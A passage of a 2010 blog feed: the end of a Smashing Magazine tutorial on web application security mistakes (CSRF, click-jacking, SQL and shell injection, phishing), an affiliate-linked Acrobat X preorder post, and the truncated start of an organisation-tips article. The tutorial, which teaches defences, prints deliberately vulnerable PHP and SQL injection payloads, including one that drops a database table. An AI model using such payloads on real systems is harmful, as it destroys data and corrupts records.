</pre><p>Which will POST the form back to www.mybiz.com.</p><p>The correct way to to protect against a CSRF is to use a single use token tied to the user.  This token can only be issued to a signed in user, and is based on the user&#8217;s account, a secret salt and possibly a timestamp.  When the user submits the form, this <strong>token needs to be validated</strong>.  This ensures that the request originated from a page that we control.  This token only needs to be issued when a form submission can do something on behalf of the user, so there&#8217;s no need to use it for publicly accessible read-only data.  The token is sometimes referred to as a <em>nonce</em>.</p><p>There are several different ways to generate a nonce.  For example, have a look at the <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1268"><code>wp_create_nonce</code></a>, <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1238"><code>wp_verify_nonce</code></a> and <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1287"><code>wp_salt</code></a> functions in the <a href="http://core.trac.wordpress.org/browser/trunk/">WordPress source code</a>.  A simple nonce may be generated like this:</p><pre class="brush: php">
&lt;?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?&gt;
</pre><p>The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it&#8217;s valid as long as the action is executed within a day of requesting the page.  We could reduce that value for more sensitive actions (like password changes or account deletion).  It doesn&#8217;t make sense to have this value larger than the session timeout time.</p><p>An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated.  That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.</p><pre class="brush: php">
&lt;?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?&gt;
</pre><p>We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value.  If the two match, then we allow the action to go through.  If the nonce has timed out since it was generated, then we reject the request.</p><pre class="brush: php">
&lt;?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?&gt;
</pre><p>This protects us from the CSRF attack since the attacker&#8217;s website cannot generate our nonce.</p><p>If you don&#8217;t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.</p><h3>3. Click-jacking</h3><p>While not on the <a href="http://www.owasp.org/index.php/Category%3AOWASP_Top_Ten_Project">OWASP top ten list for 2010</a>, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.</p><p>Now since we use a nonce, we&#8217;re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won&#8217;t protect us.  In this kind of attack, the attacker includes our website in an iframe on their own website.  The attacker doesn&#8217;t have control over our page, but they do control the <code>iframe</code> element.  They use CSS to set the iframe&#8217;s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user&#8217;s mouse.  This was the technique used on the <a href="http://erickerr.com/like-clickjacking">Facebook Like button click-jack attack</a>.</p><p>Frame busting appears to be the most obvious way to protect against this, however it isn&#8217;t fool proof.  For example, adding the <code>security="restricted"</code> attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are <a href="http://coderrr.wordpress.com/2009/02/13/preventing-frame-busting-and-click-jacking-ui-redressing/">ways</a> to prevent frame busting in Firefox as well.</p><p>A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you&#8217;ve determined that it&#8217;s safe to do so.  In our example above, we&#8217;d have code like this:</p><pre class="brush: xml">
&lt;input type="text" name="message" value="&lt;?php echo $message ?&gt;"&gt;
&lt;input id="msg_btn" type="submit" disabled="true"&gt;
&lt;script type="text/javascript"&gt;
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
&lt;/script&gt;
</pre><p>This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window.  Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.</p><h3>4. SQL injection</h3><p>In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server.  XKCD has a humorous take on SQL injection:</p><p><a href="http://xkcd.com/327/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sql.png" width="550" height="169" alt="Sql in Common Security Mistakes in Web Applications" border="0" /></a><br /><em><a href="http://xkcd.com/327/">Full image</a> (from xkcd)</em></p><p>Let&#8217;s go back to the example we have above.  In particular, let&#8217;s look at the <code>save_message()</code> function.</p><pre class="brush: php">
&lt;?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}
?&gt;
</pre><p>The function is oversimplified here, but it exemplifies the problem.  The attacker could enter something like</p><pre class="brush: php">
test');DROP TABLE Messages;--
</pre><p>When this gets passed to the database, it could end up dropping the <code>Messages</code> table, causing you and your users a lot of grief.  This kind of an attack calls attention to the attacker, but little else.  It&#8217;s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users.  Consider this message instead:</p><pre class="brush: php">
test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...
</pre><p>Here the attacker has successfully managed to insert spammy messages into the comment streams from <code>user2</code> and <code>user3</code> without needing access to their accounts.  The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.</p><p>Fortunately, we can use prepared statements to get around this problem.  In PHP, the <a href="http://www.php.net/manual/en/class.pdo.php">PDO abstraction layer</a> makes it easy to use prepared statements even if your database itself doesn&#8217;t support them.  We could change our code to use PDO.</p><pre class="brush: php">
&lt;?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh-&gt;prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt-&gt;execute(array($user, $message));
}
?&gt;
</pre><p>This protects us from SQL injection by correctly making sure that everything in <code>$user</code> goes into the <code>user</code> field and everything in <code>$message</code> goes into the <code>message</code> field even if it contains database meta characters.</p><p>There are cases where it&#8217;s hard to use prepared statements.  For example, if you have a list of values in an <code>IN</code> clause.  However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the <code>IN</code> clause, and add as many <code>?</code> placeholders instead.</p><h3>5. Shell injection</h3><p>Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server.  Once they have shell access, they could potentially do a lot more.  Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.</p><p>Shell injection can take place whenever you pass untreated user input to the shell, for example by using the <a href="http://www.php.net/manual/en/function.system.php"><code>system()</code></a>, <a href="http://www.php.net/manual/en/function.exec.php"><code>exec()</code></a> or <a href="http://www.php.net/manual/en/language.operators.execution.php"><code>``</code></a> commands.  There may be more functions depending on the language you use when building your web app.</p><p>The solution is the same for XSS attacks.  You need to validate and sanitize all user inputs appropriately for where it will be used.  For data that gets written back into an HTML page, we use PHP&#8217;s <code>input_filter()</code> function with the FILTER_SANITIZE_SPECIAL_CHARS flag.  For data that gets passed to the shell, we use the <a href="http://www.php.net/manual/en/function.escapeshellcmd.php"><code>escapeshellcmd()</code></a> and <a href="http://www.php.net/manual/en/function.escapeshellarg.php"><code>escapeshellarg()</a></code> functions.  It&#8217;s also a good idea to <strong>validate the input</strong> to make sure it only contains a whitelist of characters.  Always use a whitelist instead of a blacklist.  Attackers find inventive ways of getting around a blacklist.</p><p>If an attacker can gain shell access to your box, all bets are off.  You may need to wipe everything off that box and reimage it.  If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used.  This could prove quite costly for your organization.</p><h3>6. Phishing</h3><p>Phishing is the process where an attacker tricks your users into handing over their login credentials.  The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar.  Since the attacker&#8217;s page looks identical to yours, the user may enter their login credentials without realizing that they&#8217;re on a malicious site.  The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.</p><ol><li>Always <strong>serve your login page over SSL</strong>.  This requires more server resources, but it ensures that the user&#8217;s browser verifies that the page isn&#8217;t being redirected to a malicious site.</li><li>Use one and only one URL for user log in, and make it short and easy to recognize.  For our example website, we could use <code>https://login.mybiz.com</code> as our login URL.  It&#8217;s important that when the user sees a login form for our website, they also see this URL in the URL bar.  That trains users to be suspicious of login forms on other URLs</li><li>Do not allow partners to ask your users for their credentials on your site.  Instead, if partners need to pull user data from your site, provide them with an OAuth based API.  This is also known as <a href="http://www.designingsocialinterfaces.com/patterns.wiki/index.php?title=The_Password_Anti-Pattern">the Password Anti-Pattern</a>.</li><li>Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!).  This is an image that the user selects on your website, that only the user and your website know about.  When the user sees this image on the login page, they know that this is the right page.  Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.</li></ol><p>If a user is trained to hand over their password to anyone who asks for it, then their data isn&#8217;t safe.</p><h3>Summary</h3><p>While we&#8217;ve covered a lot in this article, it still only skims the surface of web application security.  Any developer interested in building truly secure applications has to be on top of their game at all times.  Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in.  Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.</p><p>Finally, I&#8217;d like to thank the Yahoo! Paranoids for all their help in writing this article.</p><h3>Further reading</h3><ol><li><a href="http://www.owasp.org/index.php/Top_10_2010-Main">OWASP Top 10 security risks</a></li><li><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a></li><li><a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a></li><li><a href="http://en.wikipedia.org/wiki/Phishing">Phishing</a></li><li><a href="http://en.wikipedia.org/wiki/Code_injection">Code injection</a></li><li><a href="http://php.net/manual/en/book.filter.php">PHP&#8217;s input filters</a></li><li><a href="http://www.designingsocialinterfaces.com/patterns.wiki/index.php?title=The_Password_Anti-Pattern">Password anti-pattern</a></li><li><a href="http://oauth.net/">OAuth</a></li><li><a href="http://mashable.com/2010/05/31/facebook-like-worm-clickjack/">Facebook Like button click-jacking</a></li><li><a href="http://coderrr.wordpress.com/2009/06/18/anti-anti-frame-busting/">Anti-anti frame-busting</a></li><li>The <a href="http://security.yahoo.com/">Yahoo! Security Center</a> also has articles on how users can protect themselves online.</li></ol><hr /><p><small>© Philip Tellis for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/&title=Common%20Security%20Mistakes%20in%20Web%20Applications">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'Common%20Security%20Mistakes%20in%20Web%20Applications'%20http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/click-jacking/" rel="tag">click-jacking</a>, <a href="http://www.smashingmagazine.com/tag/csrf/" rel="tag">csrf</a>, <a href="http://www.smashingmagazine.com/tag/php/" rel="tag">PHP</a>, <a href="http://www.smashingmagazine.com/tag/security/" rel="tag">security</a>, <a href="http://www.smashingmagazine.com/tag/sql/" rel="tag">SQL</a>, <a href="http://www.smashingmagazine.com/tag/xss/" rel="tag">xss</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/common-security-mistakes-in-web-applications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe Acrobat X and Acrobat X Suite Are Now Available for Preorder!</title>
		<link>http://cs5.org/?p=1446</link>
		<comments>http://cs5.org/?p=1446#comments</comments>
		<pubDate>Sun, 17 Oct 2010 22:33:55 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Acrobat]]></category>
		<category><![CDATA[Acrobat X]]></category>
		<category><![CDATA[Acrobat X Suite]]></category>
		<category><![CDATA[Adobe Acrobat]]></category>
		<category><![CDATA[Adobe Acrobat X]]></category>
		<category><![CDATA[Adobe Acrobat X Suite]]></category>
		<category><![CDATA[Adobe CS5 News]]></category>
		<category><![CDATA[CS5]]></category>
		<category><![CDATA[adobe cs5]]></category>

		<guid isPermaLink="false">http://cs5.org/?p=1446</guid>
		<description><![CDATA[Adobe has announced upcoming release of new version of Acrobat products – Acrobat X. New features in Acrobat X allow you to combine various file types into PDF Portfolios more easily; integrate audio, video, and interactive media into rich PDF documents; automate routine, multistep tasks into a guided Action; convert Word, Excel, PowerPoint and other [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://cs5.org/?p=1446"><img style="border: 0pt none;" title="Adobe Acrobat X" src="http://cs5.org/wp-content/uploads/2010/10/Adobe-Acrobat-X-Pro-Acrobat-X-Suite.jpg" alt="Adobe Acrobat X" width="638" height="134" /></a></p>
<p>Adobe has announced upcoming release of new version of Acrobat products – Acrobat X. New features in Acrobat X allow you to combine various file types into PDF Portfolios more easily; integrate audio, video, and interactive media into rich PDF documents; automate routine, multistep tasks into a guided Action; convert Word, Excel,<span id="more-1446"></span> PowerPoint and other files to PDF with a single click; achieve better scanning results; share files online from within your Acrobat, and much more. The English version of Acrobat X is going to be released in the end of November.</p>
<p style="text-align: center;"><strong>If you preorder </strong><strong><a href="http://www.jdoqocy.com/click-3668640-10557336" >Adobe Acrobat X Standard</a>, </strong><strong><a href="http://www.anrdoezrs.net/click-3668640-10557327" >Adobe Acrobat X Pro</a>, or </strong><strong><a href="http://www.jdoqocy.com/click-3668640-10557334" >Adobe Acrobat X Suite</a> </strong></p>
<p style="text-align: center;"><strong>before November 30 you will get free shipping of the product.</strong></p>
<p>If you are using Windows OS, Adobe offers the following products of Acrobat family:</p>
<ul>
<li><strong>Adobe Acrobat X Standard</strong></li>
<li><strong>Adobe Acrobat X Pro</strong>, which includes Adobe LiveCycle Designer ES2</li>
<li><strong>Adobe Acrobat X Suite</strong> (Includes Adobe Acrobat X Pro, Designer ES2, Adobe Photoshop® CS5, Adobe Captivate® 5, Adobe Presenter 7, Adobe Media Encoder CS5)</li>
<li><strong>Adobe Reader X</strong>.</li>
</ul>
<p>For Mac OS users the following products will be available after the launch of Adobe Acrobat X:</p>
<ul>
<li>Adobe Acrobat X Pro</li>
<li>Adobe Reader X.</li>
</ul>
<p>If you need to decide whether you should upgrade to the latest version of this software you can <strong><a href="http://www.kqzyfj.com/click-3668640-10503029?url=http://www.adobe.com/products/acrobatpro/buying-guide.html" >compare</a><img src="http://www.ftjcfx.com/image-3668640-10503029" border="0" alt="" width="1" height="1" /></strong> functionalities of Acrobat X Pro and previous versions of the product. Comparison of Adobe Acrobat X Standard, Adobe Acrobat X Pro, Adobe Acrobat X Suite and Adobe Reader X functionalities is available <strong><a href="http://www.tkqlhce.com/click-3668640-10503029?url=http://www.adobe.com/products/acrobat/matrix.html" >here</a><img src="http://www.lduhtrp.net/image-3668640-10503029" border="0" alt="" width="1" height="1" /></strong>.</p>
<p>These days almost everybody has Acrobat Reader installed on their computers, because PDF files are virtually everywhere. But for a great part of professionals ability to edit PDF files is not less important than ability to open and read them. If you have never used Acrobat to create or edit PDF files the following video will be useful for you.</p>
<p>(If the video is played back incorrectly, you can <a href="http://tv.adobe.com/watch/acrobat-x/getting-started-the-basics-of-editing-a-pdf-document/">watch it</a> on Adobe.TV)</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="FlashVars" value="fileID=8073&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="src" value="http://images.tv.adobe.com/swf/player.swf" /><param name="flashvars" value="fileID=8073&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://images.tv.adobe.com/swf/player.swf" flashvars="fileID=8073&amp;context=634&amp;embeded=true&amp;environment=production" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Very often working in the office people encounter a requirement to edit contents of a PDF document in other applications such as Word or Excell. In earlier days it was not easy to export PDF files to Office applications, but Adobe Acrobat X makes this task very simple.</p>
<p>(If the video is played back incorrectly, you can <a href="http://tv.adobe.com/watch/acrobat-x/converting-pdf-files-to-other-file-formats/">watch it</a> on Adobe.TV)</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="FlashVars" value="fileID=8070&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="src" value="http://images.tv.adobe.com/swf/player.swf" /><param name="flashvars" value="fileID=8070&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://images.tv.adobe.com/swf/player.swf" flashvars="fileID=8070&amp;context=634&amp;embeded=true&amp;environment=production" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Creation of PDF portfolios is one of the most praised Acrobat Pro capabilities. This function was available in Acrobat 9 Pro, but in Acrobat X pro it is considerably extended and refined. Now users can leverage PDF Portfolio Wizard, ability to customize PDF Portfolios with layouts, visual themes, and color palettes and also Import custom PDF Portfolio layouts developed by third-party developers and designers. In this video you will see how to create a PDF portfolio in Acrobat X.</p>
<p>(If the video is played back incorrectly, you can <a href="http://tv.adobe.com/watch/acrobat-x/what-is-a-pdf-portfolio/">watch it</a> on Adobe.TV)</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640&quot;" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="FlashVars" value="fileID=8076&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="src" value="http://images.tv.adobe.com/swf/player.swf" /><param name="flashvars" value="fileID=8076&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640&quot;" height="385" src="http://images.tv.adobe.com/swf/player.swf" flashvars="fileID=8076&amp;context=634&amp;embeded=true&amp;environment=production" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Together with Acrobat X Adobe launches new services at <strong><a href="http://www.dpbolvw.net/click-3668640-10503029?url=http://www.adobe.com/acom" >Acrobat.com</a><img src="http://www.tqlkg.com/image-3668640-10503029" border="0" alt="" width="1" height="1" /></strong>. This is an online service intended to help creative teams cooperate more efficiently and achieve better results with less effort. Acrobat.com includes online Workspaces, document sharing and storage, PDF file conversion, web conferencing, and online office applications. You do not need to download and install any software to start using Acrobat.com, and also it is free. In this video  Rick Treitman, Director of Product Management, tells what new services are coming to Acrobat.com and why they are so important.</p>
<p>(If the video is played back incorrectly, you can <a href="http://tv.adobe.com/watch/insights-on-acrobat-solutions/rick-treitman/">watch it</a> on Adobe.TV)</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="FlashVars" value="fileID=7984&amp;context=632&amp;embeded=true&amp;environment=production" /><param name="src" value="http://images.tv.adobe.com/swf/player.swf" /><param name="flashvars" value="fileID=7984&amp;context=632&amp;embeded=true&amp;environment=production" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://images.tv.adobe.com/swf/player.swf" flashvars="fileID=7984&amp;context=632&amp;embeded=true&amp;environment=production" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>One of the features of Acrobat X is the ability to share files using SendNow Online tool. There is no need to open a browser to send files, you can just send them from within Acrobat. These can be not only PDF files, but also video files, or office files. In the video below Lori DeFurio, Group Product Marketing Manager at Adobe, presents this new convenient feature of Acrobat X.</p>
<p>(If the video is played back incorrectly, you can <a href="http://tv.adobe.com/watch/acrobat-x/sendnow/">watch it</a> on Adobe.TV)</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="FlashVars" value="fileID=8061&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="src" value="http://images.tv.adobe.com/swf/player.swf" /><param name="flashvars" value="fileID=8061&amp;context=634&amp;embeded=true&amp;environment=production" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://images.tv.adobe.com/swf/player.swf" flashvars="fileID=8061&amp;context=634&amp;embeded=true&amp;environment=production" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Upcoming products launch also upgrades Adobe Acrobat Reader. Acrobat X Reader will include the following innovations:</p>
<ul>
<li>Commenting becomes available, with Sticky Notes and Highlighter tools available to all users.</li>
<li>PDF access to mobile devices is expanded with free Adobe Reader X for Android, Windows Phone 7 and Blackberry Tablet OS.</li>
<li>Viewing of PDF files with new Protected Mode security capabilities becomes safer.</li>
</ul>
<p>If you wish to be notified when Adobe Acrobat X products are shipped you can sign up <strong><a href="http://www.anrdoezrs.net/click-3668640-10503029?url=https://www.adobe.com/cfusion/mmform/index.cfm?name=product_notify" >here</a><img src="http://www.lduhtrp.net/image-3668640-10503029" border="0" alt="" width="1" height="1" /></strong>.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http://cs5.org/?p=1446&amp;linkname=Adobe%20Acrobat%20X%20and%20Acrobat%20X%20Suite%20Are%20Now%20Available%20for%20Preorder!"><img src="http://cs5.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/adobe-acrobat-x-and-acrobat-x-suite-are-now-available-for-preorder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Organization Tips For Web Designers</title>
		<link>http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/</link>
		<comments>http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/#comments</comments>
		<pubDate>Fri, 15 Oct 2010 06:30:28 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Workflow]]></category>
		<category><![CDATA[organization]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=18924</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>As a web designer, you're often forced to wear many different hats every day. You're the CEO, creative director, office manager, coffee fetcher and sometimes even janitor. That's a lot for anyone, and it certainly makes it difficult to find any time for quality creative thinking. Organization in any operation is important, and for our work as web designers it is important, too.</p><p><a href="http://www.smashingmagazine.com/2010/10/14/organization-tips-for-web-designers/"><img class="alignnone size-full wp-image-19068" title="Organization Tips For Web Designers" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2009/11/clock1.jpg" alt="Organization Tips For Web Designers" width="500" height="375" /></a></p> <p>The good news? You don't have to have been born an organizational machine. Let's look at what being organized means and a few <strong>strategies and tips to help you clean up that messy desk</strong> and get your work ducks in a nice neat row.</p><p>What it means to be an organized person or run an organized business is commonly misunderstood. Many people equate being organized with being fussy, which is not the case. Little labeled folders and neatly itemized lists are one way to stay organized, but they are merely tactics. The heart of organization is having a strategy. Being organized is simply a matter of using clearly defined and consistently implemented systems to get things done.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in Organization Tips For Web Designers" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in Organization Tips For Web Designers" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in Organization Tips For Web Designers"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in Organization Tips For Web Designers"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in Organization Tips For Web Designers"  /></a></div></td></tr></table><p>As a web designer, you&#8217;re often forced to wear many different hats every day. You&#8217;re the CEO, creative director, office manager, coffee fetcher and sometimes even janitor. That&#8217;s a lot for anyone, and it certainly makes it difficult to find any time for quality creative thinking. Organization in any operation is important, and for our work as web designers it is important, too. The good news? You don&#8217;t have to have been born an organizational machine. Let&#8217;s look at what being organized means and a few <strong>strategies and tips to help you clean up that messy desk</strong> and get your work ducks in a nice neat row.</p><p class="offtopic">[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is <a href="https://shop.smashingmagazine.com/smashingbook-dispatcher.php?d=smashing-ebook-successful-freelancing">Successful Freelancing for Web Designers</a>, 260 pages for just $9,90.]</p><h3>1. Organization 101</h3><p>What it means to be an organized person or run an organized business is commonly misunderstood. Many people equate being organized with being fussy, which is not the case. Little labeled folders and neatly itemized lists are one way to stay organized, but they are merely tactics. The heart of organization is having a strategy. Being organized is simply a matter of using clearly defined and consistently implemented systems to get things done.</p><p>But how do you go about finding and implementing a strategy if you&#8217;re starting from square one? It begins with <strong>where you want to end up</strong>. Think about where you waste the most time or what frustrates you the most on a daily or weekly basis, and start there. Formulate simple clear goals and treat these overarching goals as the finish line in your strategy.</p><p>For example, if you have trouble paying all (and I mean every single one) of your bills on time because they are perpetually lost in the mess on your desk, make it a goal to pay every bill before it is due for the entire year. With this broad goal in mind, you can work on cleaning your desk and setting up a routine for paying each of your bills.</p><h3>2. Building Routines</h3><p>Very disorganized people tend to do things in a scattershot way, jumping frequently between unrelated activities, wasting time and energy with each switch. So, if you are committed to being more organized, the first things you need to analyze are your daily, weekly and monthly routines. What activities do you do every day, week and month? It helps to make a list for each and add to it over the course of the week or even month.</p><p><img class="alignnone size-full wp-image-19068" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2009/11/clock1.jpg" alt="Clock1 in Organization Tips For Web Designers" width="500" height="375" /><br /> <em>Original image by <a title="garyknight on Flickr" href="http://www.flickr.com/photos/garryknight/">garyknight</a>.</em></p><p>Once you have this list, you should start to notice patterns. You can use those patterns to help you plan your time more efficiently. Arrange your activities by location, type or client to minimize the time you take to switch gears (both mentally and physically) between each activity.</p><h4>Tips for Building Effective Routines</h4><ol><li><strong>Group like tasks</strong><br /> Don&#8217;t stop working to answer each email as it arrives. Instead pick two — and only two — times a day to deal with emails. Schedule all of your meetings together during one part of the day, and don&#8217;t stray from this time block. If the block is full on any given day, then schedule the meeting for the following day.</li><li><strong>Keep the e-mail inbox clean.</strong><br /> When a bunch of new e-mails arrives, sort and prioritize them right away. You could have three folders — one for important e-mails (&#8220;Important&#8221;), one that require some work (&#8220;Work&#8221;) and one for e-mails that aren&#8217;t that important and can be replied later on (&#8220;Later&#8221;). Try hard to keep the first two clean in the end of every day, and set up reminders or to-do-lists for important tasks. If you get way too many e-mails, you could set up a little system that would delete all unreplied e-mails that are older than 10&ndash;14 days and send a notification to those who sent these e-mails, so they know that their e-mail wasn&#8217;t read. If the e-mail was important, they will follow up eventually.</li><li><strong>Standardize your working hours</strong><br /> Freelancing web designers are blessed with abundant freedom in the hours they work. But this can be a blessing and a curse. If you work a 